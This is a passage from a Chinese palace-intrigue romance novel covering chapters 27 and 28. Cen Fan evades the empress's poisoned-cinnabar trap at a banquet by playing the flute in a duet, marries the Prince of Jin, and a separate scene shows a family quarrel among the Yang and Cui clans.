若非家宴,宫里向来是男女分席,若他去见皇帝的,那她只能去皇后那儿。 元衡并没有忘记上次的事。 那次他在去找过元斓后,便将齐良越叫到府上问过。 皇后想要下药害她,而元斓定也是对她说过什么。 她和皇后有仇,皇后如今没死,想必也发现了下毒之事。 这两人不会善罢甘休,她一个人无力对付,也斗不过。 她敢做许多事,可他也能看出,她很怕死。 他俯视着她,她身形纤弱,一个人孤零零地坐在车内一角。 在这里她没有可信的人,唯一能依靠的也只有他了。 他轻轻坐回她的身旁,脸上并没有多少柔情,却又用那种让人膈应的语气同她说,“放心,有本王在,不会让你出事。” 岑璠手微微紧扣,下一刻指尖与他的相碰,随后四指便被他握在了掌中。 他站起身,带着她往车外走。 岑璠站起身,倒是一时好奇,他如何能保证她不出事。 两人沿着青石砖路而行,一路快到永巷,见两人在那里等着。 岑璠一眼便认出来其中一人。 第27章 第二十七章他又在犯病了 他竟然是让郑伊湄和她入宫。 郑伊湄旁边的人,她并不认识,两人眉眼中有相似,站在那里,威严十足,身如苍松,却有几分儒雅之气。 能来皇帝的宫宴,又是这般气质,想必是那位中书令了。 郑峋上下打量了几眼,见到两人牵起的手,紧抿的嘴被胡须掩了起来,却没有说什么,带着郑伊湄行了一礼。 元衡回礼,并说道:“此番郑姑娘会陪你进宫。” 岑璠点头,而后回过目光,对上了那杏眸中的笑意。 她向郑伊湄回了个浅笑。 其余二人并未注意,正说着场面话。 “多谢郑大人安排。” “殿下哪里的话,小女能同岑姑娘相识,乃是缘分啊。” 郑峋说完,转头同郑伊湄交代了两句,便同元衡折返。 郑伊湄走到她身侧,“我同你一起进宫,你放心。” 岑璠长舒一口气,“嗯”了一声。 两人一同穿过永巷,沿回廊而行。 “郑姐姐!” 忽地,两人身后传来一阵呼唤,有几分少女的稚嫩,却又有几分期待。 岑璠觉得声音有些熟悉,回头看到那头点花钿的姑娘,僵在原地。 竟然是那元斓。 元斓看见她,似也有一瞬的怔愣,收住笑容,脚下的步子也放缓了些。 须臾间,她停在两人面前,换了副客气的笑,看向她道:“这位阿姊好生眼熟,不知是哪家姑娘?” 竟是同她装作不认识的样子。 那张笑脸纯良无害,在岑璠看来,却是带了一副面具,假的不行。 她展开了笑,上前一步,福身行礼,“民女姓岑,单名璠。” “呀!”元斓捂住了嘴,“原来你就是岑家阿姊!” 元斓围着她转了一圈,“阿姊长得好生标致,难怪皇兄会喜欢。” 话出口,郑伊湄朝她看来,那神情中却并无责怪之意,倒是有些许无奈。 元斓向她一旁轻瞟,停住脚步,眨了眨眼,讪笑道:“郑姑娘是知道,我嘴一向有点笨。” 她收住话,握住岑璠的手,“皇兄他不是以貌取人之辈,是我的错,阿姊可千万别往心里去。” 岑璠摇头,“该是民女道歉才对,刚才竟没认出是公主殿下。” “这是哪里话,你是 皇兄未来的王妃,说来……” 她话音顿了顿,两颗虎牙露出,笑得更灿烂了些,“说来我刚才该叫声嫂嫂才对。” 郑伊湄与公主并不算有多熟,这位五公主久居宫中,宴会也鲜少参加,她也只是偶尔在宫里遇到。 这话听着有些不对,可如何不对,倒也说不上来。 她轻轻皱起了眉,道:“殿下此言差矣,眼下婚事未成,这样称呼并不合适。” 其余两人的目光皆落在郑伊湄的身上。 不知为何,元斓有一瞬的无措,甚至变得有些不自然,“郑姑娘…是不喜欢这门亲事吗?” 郑伊湄却更是不解了。 “公主殿下,这门亲事喜不喜欢,不该问我才对。” 岑璠来回看了看两人,她总觉得面前的两人关系并不简单,起码元斓对阿湄很不一样… 虽然不知缘由,可她不愿阿湄与这位公主起冲突。 她浅笑道:“阿姊这个称呼公主既叫得习惯,这么叫民女便好。” 可元斓的注意力并不在她身上,目光全部着落在她身后的另一个人。 不知是不是她看错,那眼中竟有一丝…委屈? 岑璠不禁回头,却见郑伊湄似也有疑惑。 她思索片刻,低身福礼,道:“公主见谅,民女和郑姑娘还要去赴宴,先告辞了。” 元斓回过神,往前迈了两步,同她们并排而行,看向郑伊湄,问道:“阿姊好些日子没出门,可是中书令还在和姑娘置气?” 郑伊湄摇头,“多谢公主关心,家父只是有些事一时未想通,并未置气。” 中书令为何置气,岑璠知道,她并未多言,只观察着两人的一举一动。 渐渐地,她似乎读懂了元斓。 她不知道为何会这般,那双眼睛始终追随着一个人,眼中流露出像是关心,可更多的是仰慕 一旁两人还在一问一答,岑璠默默旁看着,并未注意到有人拦在面前,直到差点撞上,才停住脚步。 面前出现了一张略显苍白的脸,宫服还是那样华贵,眼中却含着怨气。 那文绣大监朝另两个人行礼,盯住她,“让开。” 岑璠微微侧开身,让出一条道来, 那大监昂首挺胸,走时狠狠撞上她的肩膀。 岑璠回头,只见那大监从头上拔下那只红宝簪子,随手抛在了地上。 这簪子价值连城,她记得元衡说过。 岑璠低眼看着,元斓从地上拿起那只簪子,仔细看了一番,朝着那大监的背影低声道:“不知好歹……” 郑伊湄不明所以,“文绣大监这是怎么了?” 元斓把玩着那只簪子,一挑眉,“阿姊还不知道呢,上次大监去王府量裁婚服,殿下赏了这只簪子。这大监回宫后,不仅没有将这宝簪藏起来,反而大肆炫耀,传到皇后娘娘那里,被打了三十板子,跪在宫门前整整一日呢。” “不过是皇后母族家上不了台面的一个女儿,还想攀附皇兄,也不看看自己配吗。” 郑伊湄欲言又止,元斓见状,抿住了唇。 “那又关皎皎什么事?”郑伊湄问道。 岑璠侧头,目光触碰了一瞬,而后迅速收回,直视前方,“我也不知。” 元斓轻嘲,“这有什么难猜?那大监做梦都想嫁给皇亲贵胄,此次却因为婚服之事,无辜被罚,自然是要将气撒在你这里。” 岑璠没再说话,见元斓转身,只余光又看了一眼,跟上两人继续往前走。 宫宴设在灵芝池旁,已经来了不少人,皇后和那贵嫔坐于亭中,细细看去,两人神韵间竟有几分相似。 其他女眷沿池边而分散坐开,而此次宴会的主角,那位刚满月的小皇子,想来是被抱去了皇帝那里。 见着三人走在一起向皇后行礼,不少人觉得惊讶。 就连皇后也愣了愣,很是欣慰,“能瞧见这三个姑娘走在一起,本宫还真是高兴。” 元斓弯起笑眼,俏皮道:“皇后娘娘这话,难道是觉得我们不该走在一起呀?” 此话一出,在场不少人变了脸色。 贵嫔如坐针毡,扯开唇打马虎眼,“公主可真是惯会开玩笑……” 皇后却不在乎,道:“倒不是小五说的那般,本宫只是瞧见你们三人走在一起,颇为养眼罢了。” 这五公主倒也练就了一副厚脸皮,并不觉得尴尬,走向亭中,坐在自己的席位上,向皇后举了酒杯,“那便是小五多想了,娘娘见谅,我自罚一杯。” 皇后莞尔一笑,转而目光移向岑璠,“岑姑娘送的画本宫看过,那牡丹画的当真艳极,不愧是松白先生所画。” “皇后娘娘谬赞。” 皇后似是想起了什么,“本宫记得刚当上皇后那阵呀,有缘见过松白先生,他说若非懂画之人,他断不会相赠,当年本宫可是亲自呈了自己的画作,上门请教,他才愿意进宫为本宫作一幅画,也不知岑姑娘有什么本事,竟能说动松白先生作画。” 岑璠抬眼看她,道:“母亲出自商户岑家,在彭城画的画极好,民女师承一二罢了。” 在场的人虽是不怎么看得上虞家,可那虞老爷的风流韵事,倒也听说过一二,席间窃窃私语不断。 “那虞家的外室不是奴籍吗,怎么还是什么岑家才女?” “谁知道呢!一个商户而已,我那能认得,倒是这虞家……” 一旁的五公主一扫周围,最后目光落在她的脸上,面对这般胆魄,有几分赏识,可最终也只摇了摇头。 周遭议论四起,皇后只淡然一笑,“本宫倒是好奇,岑姑娘画的究竟如何,竟是能入了松白先生的眼。” 说罢,她吩咐人抬上桌案,备了笔墨丹青,“这皇宫里景致正好,岑姑娘随意画,只当给大家助兴。” 那案上的朱砂艳丽,隐隐散发的淡香还在鼻尖充斥。 岑璠眼睛聚在那盘朱砂上,直到贵嫔出声应和,才移开目光。 贵嫔道:“是呀,姑娘不如当场画一幅,就当做满月礼,等循儿被抱回来了,看看他喜不喜欢。” 皇后一笑,“本宫也是这么想,六皇子抓阄的那些物件,里面还没有画呢,岑姑娘画好的这幅不如添到里面,万一小皇子抓到了那也是缘分。” 岑璠陡然间明白了皇后的意图,眼睛瞪大了些,就连郑伊湄也能感受到,此番提议来者不善。 眼瞧着她败下阵来,皇后狭长的凤眼中满是上位者的不屑,“岑姑娘可是不想画?” 岑璠呼吸变得急促,身子微微颤抖。 此刻她若是说这朱砂有问题,就说明她认识美人泪,便是变相承认送给皇后的画上的毒是她下的。 可她更不可能去作那幅画,那种毒对于一个孩子,是万万碰不得,若真出事,皇后定要推她出来顶罪。 想来想去,似也没有其他更好的法子,岑璠直直跪了下去。 皇后微蹙眉,“岑姑娘这是做什么?” 她叩首一拜,“皇后娘娘恕罪,民女实在画不了。” 见如此,郑伊湄也跟着跪了下去,“皇后娘娘,皎皎的手前些日子伤过,还并未痊愈。” 皇后释然一笑,眉舒展开,并未让两人起身,“本宫倒是听说了此事,不过听说姑娘手伤后在老二的别院养过一段时日,还有太医开得药方,应当好了才是。” 前段日子,她在别院养伤的事,知道的人寥寥无几。 岑璠清楚,元衡是有意隐瞒,就连她的父亲都不敢往外乱说。 就在刚才,她把虞家的事抖落了出来,而现在这位皇后也要把她二人的私情放在了明面上。 岑璠想不通,虞家究竟有何能耐,竟是能让皇后帮着以牙还牙,同他们在明面上撕破脸。 在场的人却不曾考虑其中的弯绕,话锋一转,矛头又对向了她。 晋王刚提亲时,城中就流言不断,她虽是第一次听到这些,可同她想到的话大差不差。 无非又是说她随了母亲,不守德,与晋王私相授受之类的。 可岑璠知道,眼下并不是她该考虑这些的时候。 这幅画,她绝不能碰。 岑璠用之前敷衍元衡的说法,“娘娘不知,这手当时伤的严重,没那么快医好。” 这次先开口的却是贵嫔,“本宫看这伤倒也不算什么,不过是一幅画罢了,能有多难,姑娘是不想画吗?” 岑璠抿紧了唇,不敢松 口半分。 贵嫔剜了一眼,“旁的姑娘都会些琴棋书画,不说别的,就说郑姑娘,那琴我听了都佩服,岑姑娘倒是好,一声手伤了,这琴棋书画倒是样样不能了。” 岑璠能听出这话意有所指,可默认自己不会,受点嘲笑,总要比丢了命强许多。 席中有人掩面轻笑,郑伊湄转头看她,见她盯着那盘朱砂,眼神有一瞬的闪烁,喃喃道:“是朱砂有问题……” 她想说些什么,手却被岑璠握住。 岑璠向她摇头,示意她不要说话。 郑伊湄愣住。 皇后将两人的反应尽收眼底,似是料到,只眼撇开,暗哼一声。 不少人察觉到异样,互相看了看,却又不知这岑璠如何得罪了皇后。 就在此时,席间却闯进来一女子,身穿胡服,紧衣窄袖,脸色呈浅麦色,露出的手背上有几道浅浅的疤痕,眼睛却格外亮堂。 女子手握一只竹笛,抱拳道:“皇后娘娘恕罪,民女来得迟了些。” 皇后似也不认识,“这位姑娘是……” 女子轻笑,“民女怀荒尔朱氏,见过娘娘。” “原来是尔朱的女儿……”皇后嫣然一笑,“像你父亲,有大将之风。” “娘娘过奖。”尔朱阳雪回了一句,转了转手中的笛子,亮给一旁跪着的岑璠,“姑娘总不能什么都不会吧?” 岑璠愣了许久,接过那只笛子,迅速反应过来,道:“民女手确实伤了,笔握不稳,若是贵嫔娘娘愿意,民女可以奏笛一曲。” 皇后低眼看向岑璠,最后目光落到尔朱阳雪脸上,笑得温和,没再咄咄相逼,“贵嫔觉得呢?” 贵嫔似是犹豫,迟迟没开口。 郑伊湄一拜,“贵嫔娘娘刚才说民女琴奏得好,民女愿与岑姑娘共奏一曲,望娘娘应允。” 贵嫔不知如何是好,最后还是皇后允下,“那便照姑娘说的,你二人同奏,就当为六皇子庆生可好?” 郑伊湄谢礼,拉着岑璠起身。 岑璠握着手中并不算精巧的竹笛,一时恍惚。 她要与她合奏吗? 只是不容她再多想,不过一会儿,两个太监便抬了把琴上来。 郑伊湄坐了下来,抚了抚琴弦,抬头问道:“高山流水,皎皎可会?” 岑璠眼神凝住,心跳的厉害,轻轻颔首,“会的。” 她抬手,那人手指勾了琴弦。 笛声先响,琴声随后附之,一声悠扬,一声清泠,春风化雨,牵动心弦。 宴席静了下来,灵芝池旁只剩树影沙沙声,偶然间鱼儿浮出水面,点起阵阵涟漪。 元衡便是在这时赶来的,他望向亭前,停下脚步。 小池旁,一人如远山芙蓉,一人如云边之月,吹笛抚琴,青衣白衫,衣袂飘然,仿若竹林隐居之士,当得起一个雅。 自幼漂泊边镇,元衡不通音律,却也多少能听出来,这是一曲高山流水。 上一世,她在宴席上被众人为难,被嬉笑粗鄙,不通文墨。 他在宴席中想起,匆忙赶来,只为帮她解围。 可似乎用不到他。 高山流水 若是上一世,元衡见到两人合奏,大概会觉得自己在做梦。 可他没忘记,她前些日子,正是躲到了郑六姑娘的院子。 这个被自己婉拒婚事的女娘,曾经让她介怀的女子 元衡眼神有些晦暗,须臾间却又清醒,唇微动,为刚才自己一瞬间冒出的情绪感到鄙夷不屑。 不过一个女人罢了,这并不值得他在意。 元衡又看了一眼两人,悄无声息离去。 曲声渐散,岑璠放下手中的笛子,心绪迟未抽离,对刚才来过的人更是不曾察觉。 一曲毕,台下赞叹不已,虽多是叹于琴声,却偶然能听得一两句琴声笛声相得益彰的言话。 对于岑璠来说,这便足够了。 皇后笑道:“郑姑娘的琴声果然妙极,本宫敬佩,不过岑姑娘的笛声也不差,五公主觉得呢?” “自是好的。”元斓答话,眼睛却直盯着两人,不知在想什么。 岑璠谢礼,“谢皇后娘娘,公主谬赞。” 皇后不再为难,让两人回到席上。 宴席开了不久,小皇子被抱了回来,便是无人再关注两人,纷纷凑向那白白胖胖,咧着嘴笑的皇子。 岑璠送上元衡事先给她备好的满月礼,只求不再横生事端。 宴席散去,不出她所料,那老皇帝果真要见她。 岑璠跟那传话的老太监走,郑伊湄不放心,紧随其后。 这一次,几人走的是大道,临近一座宫殿,老太监躬身,“陛下此番只让老奴带岑姑娘来,郑姑娘稍作等候,老奴派人送姑娘去找郑大人。” 两人相视,似都不放心彼此。 “岑姑娘,陛下和晋王殿下都在殿内等着呢。” 老太监催促着,岑璠看向郑伊湄。 郑伊湄道:“那便劳烦大人。” 她向岑璠笑了笑,“你先进去罢,放心。 岑璠抬头看了看那座恢弘的宫殿,抿了抿唇,朝她颔首。 两人分别,岑璠随老太监走入殿中。 老太监在门口传报,话音刚落便得了个“进”字。 大殿的门被推开,岑璠低头而入,能看见站在殿前的晋王。 她止步于他身旁,跪地叩拜,“民女岑璠,叩见陛下。” 那老皇帝的声音有些苍老,话语间却带着不容置喙的威严,“你起来,抬起头。” 岑璠站起身,眸一抬,看向那老皇帝。 都说当今皇室俊美,果真如此,起初她以为晋王俏像母,没想到竟是随了当今圣上。 那双冷眸,近乎一模一样。 只是那老皇帝看见她,表情似有些微妙,手抓紧了龙椅。 可下一瞬,那手重重拍了一下扶手,声音冷中带戾,“你将我皇室颜面丢金,就为了娶这么个女人?” 一直默不作声的元衡坦然开口,“是。” 说罢,元衡将握了她的手,紧紧攥在手心。 “你…”老皇帝气的说不出话,倒也没追究他们的罪过,似是一叹,“罢了,滚吧!” 元衡拉着她的手,毫不犹豫离开。 临走时,他瞥到了她腰上别的那只笛子。 宫道上,宫人跟随两侧,那手始终没放开,沉默不语,将她拽上了马车。 车稳稳驶离皇宫,车内元衡端坐,时不时看向她腰间的竹笛,那只笛子做工是粗糙,可却像是没用过一般,气孔上的削痕还带着棱角。 “这是谁送的?”元衡闷声问道。 岑璠并不认识那送她笛子的姑娘,只觉无关紧要,便照实答,“是尔朱氏的姑娘。” 那尔朱氏的姑娘,近日来到洛阳的只有一个。 能有这通天的本事,预先知道她席上会遭为难,给她削好笛子让尔朱氏送去的,也只有一个。 他与她做过五载夫妻,同榻而眠,这才是他第一天知道她会吹笛。 元衡嘴近乎抿成一条缝。 岑璠不曾察觉这些, 下一刻,腰间的笛子被人抽走。 男人袖一拂,竹笛被扔出窗外。 岑璠眼睛瞪大,慌忙扑了过去,扒在窗外,看不出什么,又转过头来扒他的手腕。 元衡摊开手,竹笛不在他的手上。 岑璠抬头,掩饰了多日的温和消散,眼中露出芒刺。 元衡见多了恨他的人,并不惧怕这种目光。 她从未主动靠近过他,这一次,是为了一只破笛子。 为了一只笛子,她宁可同他翻脸,同他锋芒相对。 柔软的身子还趴在他身上,却没有一丝暧昧,元衡喉咙微动,说道:“那只笛子,是杨知聿送的,不是尔朱氏。” 他语气中带着肯定,理直气壮。 他又在犯病了。 岑璠这么想,不欲再同他解释,喊了句,“停车。” 车未停,岑璠气急,转头道:“叫外面的人停车!” 元衡闭着眼,嘴角紧绷,一个字也没说。 岑璠眼睛红了,下一刻起身就要往外面去。 元衡拉住了她,声音几乎是从牙缝里蹦出,“停车。” 外面的车停了,岑璠想下车,手腕却还被死死攥住。 元衡叫了声赶车的侍卫,“你去,捡回来。” 侍卫什么也没说,跳下车去捡,捡回来后,不敢多看,却也瞄了几眼,从喉咙里压出一声不可闻的叹息。 元衡冷脸接回笛子,放回她手上,没说一句话,浑身的怨气却像要溢出来了。 岑璠未理会,换了只手拿笛,用衣袖掩住,藏到他看不见的地方。 回去路上,再无人开口说话,直到车停稳时,那张脸还是臭的。 岑璠不想看见那张苦大仇深的脸,毫不犹豫站起身。 元衡端坐,在她脚踏出车外时,道:“孤明日便要回晋阳。” 岑璠微微回头,等他后话。 “大婚那日孤亲自来迎你。” 第28章 第二十八章大婚 皇室大婚,除非对方属四姓世家女,亲自迎亲的并不多,是以晋王亲迎王妃、来观礼的人并不算少。 迎亲的队伍自皇城而过,从街头到街尾,红绸彩缎满布,黄昏时分,灯火通明,皇宫仪仗开路,万人空巷。 那以杀伐闻名的晋王,红衣在身,修长的身挺得笔直,面容愈显俊美,凤眼眼梢微扬,韶光流转,意气风发。 虞家并不敢怠慢,一家人身穿华服出门相送。 她团扇掩面,缓缓而来,凤冠霞帔,裙摆曳地,宫带束腰,难掩身姿华容。 元衡上辈子没见过她穿红衣的样子,那时她是他的妾室,她自己置办的嫁衣想必是没有他亲手监督置办的这件好看,可想必上一世出嫁的她也是美的让人无法侧目。 她适合穿红衣,这身红色拂去了她身上的冰冷,像是仙子步入俗尘,高傲的白梅被折入掌心…… 他心里这么想,眼未移开,看着她一步步走上他为她准备好的玲珑香车。 人坐稳,令声下,元衡拉紧马缰,队伍调转了方向。 婚宴设在皇城,太子亲自前去,代表皇家观礼,是以队伍直向王府而去,并未回晋阳。 岑璠昨晚并没有睡好,那场冷清的婚礼昨晚又入了她的梦。 可今日的一切和梦中完全不同,长街上人声鼎沸,杂声议论,吵得她头疼 岑璠放下团扇指节叩了叩眉心。 外面的声音却并未停息片刻,及至王府门前,甚至有奏乐声。 车停下,岑璠下车,王府门前一改威严,挂上了红绸,处处是喜庆。 北南习俗本迥异,这几年虽有融合,可终究不太一样。 依照北边的习俗,她需要踏上毛毡,同他到青庐里交拜,让众人观礼。 事实也是,那婚俗繁琐,她需要遵照北边的习惯,在马鞍上坐几下,不仅如此,所有人都在旁观礼,不仅有她那素未谋面过的太子,甚至还有虞家人和凑数来的黄家人撒帐。 岑璠觉得,倒不如像做的梦一样,把她直接抬到房里去。 可却扇之时,她在观礼的人群中看到了阿湄。 她是郑家女,与晋王本该有婚约,本不该出现在这里才对。 可她来了。 她的成婚礼,有她来观礼。 有一刹那,岑璠竟也觉得这场婚事并不完全算是一桩坏事。 可也只是一瞬间的想法而已,只移开一点点目光,岑璠便又能看到其他人脸上不能再僵硬的假笑。 岑璠低敛了目光,收起刚才那荒唐的想法。 随之而后,同牢奠雁,合卺结发,自始至终,岑璠的注意力都没有落在过身旁晋王的身上,自也察觉不到,那人结发时手微微颤抖,结成后眼睛一直追随着那缠绕在一起的头发,眼睛都是红的。 一应礼闭时,天已经黑了。 宴席正热闹,岑璠多注意了几眼那位太子,想来应该是都随母的缘故,这太子和晋王倒是长得一点不像。 那太子拍了拍元衡的肩,侃侃而谈几句,先行回皇宫。 宾客未散,岑璠不知道还要在这青庐里坐多久。 忽然间,一只苍老黑瘦的手掀开了帐帘。 那是一位老媪,眉目慈善,岑璠来过几次王府,却从未见过。 可那面容莫名亲切,岑璠眨了眨眼,仔细打量,想再回忆一番,看看能不能再想起些什么。 老媪似是懂她,笑道:“老奴姓傅,自晋阳而来,娘娘应当是不认得才对。” 那声“娘娘”与她而言实在陌生,可岑璠总觉得,曾经听过这个人说话,就这么叫过她… 难不成真的有什么前世今生之说? 岑璠不止第一次这么想,可也只是闪过一个念头而已。 现在的一切才是真实存在的,其他终究都是虚幻。 她去不了梦里,现实和梦也有种种不同,那些直觉她也想不起因果。 就算真有前世作祟,她和前世也不可能是同一个自己了。 她现在要想的,就是跟着晋王她要怎么亲手报仇。 以及,报仇后怎么全身而退。 傅媪掀开帘帐,岑璠跟着走了出去,乘坐的小辇一路抬到正殿才停下。 从正殿穿过,便是真正来到这座王府的后院, 岑璠这是第一次来到这里,不得不说,皇家的寝殿都极其气派,墙上一张六扇山水屏风将内外隔开,外间金碧辉煌,内间清雅别致,摆着许多新奇玩意儿。 槿儿和紫芯正在瞧的瓷瓶她就没见过,那陶瓶晶莹剔透,像是蓝色,可从不同角度去看,五彩斑斓。 槿儿几欲上手,乳娘拍了她的脑袋,“这玻璃可是稀贵之物,碰坏了你这双手也别想要了!” 岑璠知道,乳娘知道很多他们不知道的事,见闻很广,见怪不怪。 傅媪低声笑笑,“小姑娘家好奇是常事,不过这东西是外邦进贡而来,着实要小心。” 槿儿听后,悻悻收回手。 乳娘同槿儿又唠叨了两句,让她少惹事,而后便出了房门。 槿儿和紫芯服侍她换下一身繁琐的衣裳。 岑璠将腰上的香囊解下,挂在了那红色的帐幔上。 傅媪还在放中,看了看那香囊,“娘娘原来有挂香囊的习惯。” 岑璠道:“近来总是入梦,听说这香囊能驱梦宁神,便想试试。” 傅媪点了点头,“趁着还在洛阳,这梦魇之症不如叫太医来瞧瞧。” “不必。”岑璠没想便回绝,解释道:“并非是梦魇,只是多梦罢了。” 傅媪没再问,带着槿儿去外面忙活。 没过一会儿,槿儿却是从外面回来了。 她手里拿了一个琉璃盒,打开后,里面是梨膏糖。 曾经只有一个人送过她梨膏糖。 “这是谁送来的?”岑璠这么问。 答案不出所料,槿儿道:“这是郑姑娘送来的。” “姑娘说愿姑娘在王府也要守得长命喜乐。” 岑璠还记得,小时候她第一次跑到她的院子送她糖时说的话。 那时她每日都守在门前等母亲回来,等了好几日却什么也没等来,便是忍不住靠着门哭了。 她从门缝里递给她糖,那时她还不敢开门,只敢偷偷从门缝里看外面的人。 那时她还是一副小郎君的打扮,笑时虎牙露了出来。 “糖给你,希望你每天都能开心点。” 这是她对她说的第一句话。 她入了王府,纵使是为了报仇,倒也不该苦大仇深,委屈自己,该想办法让自己快乐些才对。 岑璠捏着块儿糖,含在嘴里,糖化开在唇齿间,耳目清明。 沐浴后,岑璠换了身白色寝衣,困意泛上来。 紫芯看了直着急,“姑娘可不能这个时候困呀!” 岑璠听了心烦。 那常常入她梦的女子端坐了大半夜,是为了等心上人,她又为什么要清醒着等? 她已经按照他的意愿入了王府, 接下来她怎么舒坦就该怎么来才对。 想到此,岑璠利索地脱了鞋,上床躺下,朝里翻了个身。 紫芯呆在了原地,和槿儿面面相觑。 槿儿小声叫了声,“姑娘” 岑璠没有回声。 槿儿知道,每当自家姑娘这样,便是不会听劝了,就连自家阿娘来说都不管用 * 另一边,宴席间推杯换盏,元衡挨个敬了一遍酒,面色微熏。 外面来了人禀报几句、元衡眼神陡然锋利了些,低声道:“叫崔夫人过去。” 王府的宾客大多在宴席中,庭院灯火星点,寂静无声。 崔迟景被人带到了一处偏僻之所,似是在寻找什么。 黑暗中传来几声脚步声,声音自背后而来,带着嘲弄,“你们母子倒是悠闲,晋王的宴席也来参加。” 崔迟景皱眉,转过身去。 身后,杨樾负手而立,不似其他来婚宴的宾客,身上的黑袍几乎与夜色融为一体,衣上的金线偶尔划过几道闪光,虽为父,却比崔迟景高出些。 杨樾微低眼,“怎么,只两个月不见,认不出为父了?” 崔迟景脸上毫无笑意,“父亲此番前来,为何不入宴。” 杨樾眉跳了一下,“不过是迎一个外室女入门,难道还要我亲自来看?” 崔迟景与岑璠见过几面,也知道阿湄同她关系交好,听到这番话,心中不喜,也隐约听了出来,他的父亲此番来洛阳,与他有关。 “父亲此次前来,所谓何意” “我来只是想告诉你,上次同你说的事我已经安排好了,这场婚礼过后,你便和你表兄一起回晋阳上任。” 两个月前,他的父亲就来在找过他,说要将他调往晋阳,当时他拒绝了。 就算现在,崔迟景还是坚持。 “我不愿意去。” 杨樾声音又厉了几分,“由不得你。” “谁说由不得他了?” 父子两人回头,杨樾深吸一口气,脸瞬间拉了下来。 崔迟景听出那阵声音,“阿娘” 崔迟景的母亲崔芙,乃是崔氏长女,身量放在北边算是矮小,可气势却也担得起长女之名。 崔芙挡在崔迟景面前,握住他的臂,把高出半个头的儿子拽到身后,仰起头,“来,你同我说说,他如何还做不了自己的主?” 杨樾低头俯视她,“难不成他敢违抗圣旨?” 崔芙笑了笑,“你这话骗小孩子也就罢了,骗我?皇帝视你们杨氏为眼中钉,怎么可能下圣旨让你把他带去晋阳?” 杨樾眼神低了点,“我自有办法,你不用管。” 崔芙见他死不悔改,道:“你让他去晋阳做县令,只会给他惹来杀身之祸。” “那也总比在崔家不务正业,做个闲散官,被推来给晋王府贺婚强!” “你!”崔芙手指着他,咬牙切齿,拉住崔迟景转身,“我们走!” “我这是为了他好,你以为我在晋阳护不住他?” 崔芙停住脚步,气的浑身发抖,“为了他好?你保护他?当年你被追杀,一声不响带走儿子,最后却把他推进河里,自己游走了,难道这是为了他好?” 这事说起,对于崔芙而言太过痛苦,她哑声怒吼,“那河水冰冷,若是当时没有我弟弟把他救上来,你儿子早就死了!” 杨樾丝毫不让,“那又如何?他是杨家人,是我的儿子,那种情况我只能带他跳下去,他不一定死,死了也是有骨气的死。” “你的骨气倒是成全了,可他是我的儿子!” “总比他在崔家,认不清谁是仇谁是亲好!” “够了。”崔迟景大喊一声,站了出来,同杨樾道:“我没有分不清谁是仇谁是亲,我从小是母亲养大的,我不会和你去晋阳!” 他握住崔芙的手腕,“母亲,我们走。” 崔迟景埋着头往前走,步子迈得极快,崔芙几乎跑着才能跟上,时不时回头。 她每一回头,崔迟景步子便又快了几分。 崔芙停下来,反抓住他的手,“寻简。” 崔迟景拨开她的手,继续向前走,永远比崔芙快一步,垂着头低声道:“阿娘放心,我知道他要对付崔家,但我不会和他离开。” 崔芙看不到他的神色,却知道他定是心中难受,“是我们两个做父母的不好,反过来连累了你。” “不怪母亲,没有人连累我。”崔迟景道。 崔芙眼下酸涩,“我知道,你长大了,有自己的主意。” 她向前瞟了瞟,声音小了些,没了刚才的笃定,“其实你父亲说的官位,确实要比崔家给你安排的好……” “不用。”崔迟景道:“我有自己的安排。” 崔芙不再劝他,可唇还是不由抿紧了些。 半晌后,她道:“寻简,阿娘很久没过问你的事了,现在只想问问,你是不是还喜欢郑家那个姑娘?” 崔迟景手收紧了些,崔芙见他不回话,便是了然,“娘知道你的文采在京城数一数二,可这世道手上没有权利,确实不是长久之计,那是郑家唯一的女儿,郑家的家主是不会同意的。” “我知道,我有自己的办法,不用靠他帮我打算。”崔迟景执拗道:“等过一阵阿娘便知道了。” 崔芙不再问,她知道儿子有自己的打算,也有自己的秘密要守。 当年崔家确实见死不救,她的父亲明知杨家是被诬陷,却冷眼旁观,甚至有推波助澜之嫌。 终究是他们上一辈连累了他。 崔芙头越来越低,母女二人回到席上,脸上再无光彩。 元衡正在不远处,余光瞥向两人,同人碰了杯,将酒一饮而尽,不动声色地移开目光。 宴席终散场,宾客还未散尽,元衡便要走,却是在出中堂时看到了岑璠身边的婢女。 上次她逃到郑氏女别院时,他见到的那个。 紫芯低着头,端了壶醒酒汤。 元衡上辈子没见过她身边有这个婢女,不由多看了一眼。 可也只是一眼,他拿了壶,撇开头直视门外,冷道:“她呢?” 紫芯不敢将屋子里的真实情况说给他,只道:“姑娘在房里等着,殿下还是别醉着回去的好。” 元衡面容愈发冷,这一下便是一点都看不出醉意来了。 “孤不用。”他撂下这么一句话,抬步往自己的正殿走。 乳娘一直在外面观察着,见到人跨着步子来院子,撒开腿跑进屋。 岑璠还是一动不动躺着,乳娘一个急眼,跺脚大喊,“我的祖宗,快起来吧。” 岑璠肩膀动了动,缓缓起身,看到红的刺眼的床单,才清醒了些。 她真的睡着了,睡得昏沉,一点梦都没有。 岑璠手指动了动,床单上的花纹忽然引起了她的主意。 她顿了顿,手拿开些,眉微蹙,随即移开身子,看清整个绣纹图案。 那床单上细细刺绣的,是梅。 岑璠抬头看了看,发现那勾着金丝的红色幔帐上,绣的花样星星点点,也是梅的形状。 他就这么喜欢梅吗? 可若是真是喜欢梅的人,又怎会将梅绣在床榻之物上? 岑璠仔细回想了一下第一次在别院见到满园梅的场景,那时她见过晋王不过数面。 他不可能知道她喜欢梅,除非他认识了她很久很久。 她将思绪又拉远了些,陡然间和梦中的男人联系在了一起。 有一瞬间的毛骨悚然。 未察觉的是,乳娘已经走到了床边,近乎哀求,“姑娘,快下床吧。” 岑璠甩了甩头,抽回那荒谬的想法,就要下床。 下一瞬,门被推开。 乳娘的声音噎住,岑璠下床的动作也停住。 晋王眼神晦暗不 明,死死盯住床榻上的她。 岑璠索性将褪又收回到床上,想着箕坐实在不雅,便收起腿盘坐。 元衡冷哼了一声,将手上的壶重重放在桌上,“出去。” 一声令下,房内所有人撤了个干净,乳娘回头朝岑璠挤眉弄眼,似是在告诉她别太愁眉苦脸。 岑璠也确实没有做出什么惹恼他的举动,坐在床上,面色淡然看着他。 在元衡眼中,此时的她也确实算得上温顺,起码比他将她从郑氏别院里接回来时,还有他扔那破笛子的时候,乖了不少。 这一世,或许只是他逼得太狠了而已。 她向来都是倔强的,这种人是不会喜欢别人强迫的。 现在一切尘埃落定,他倒也不必再逼她,他和她后半辈子都会在一起。 他自认为自己相貌算好,若再多顺着她一些,怎愁她不会像上辈子一样,全心全意对他一个人。 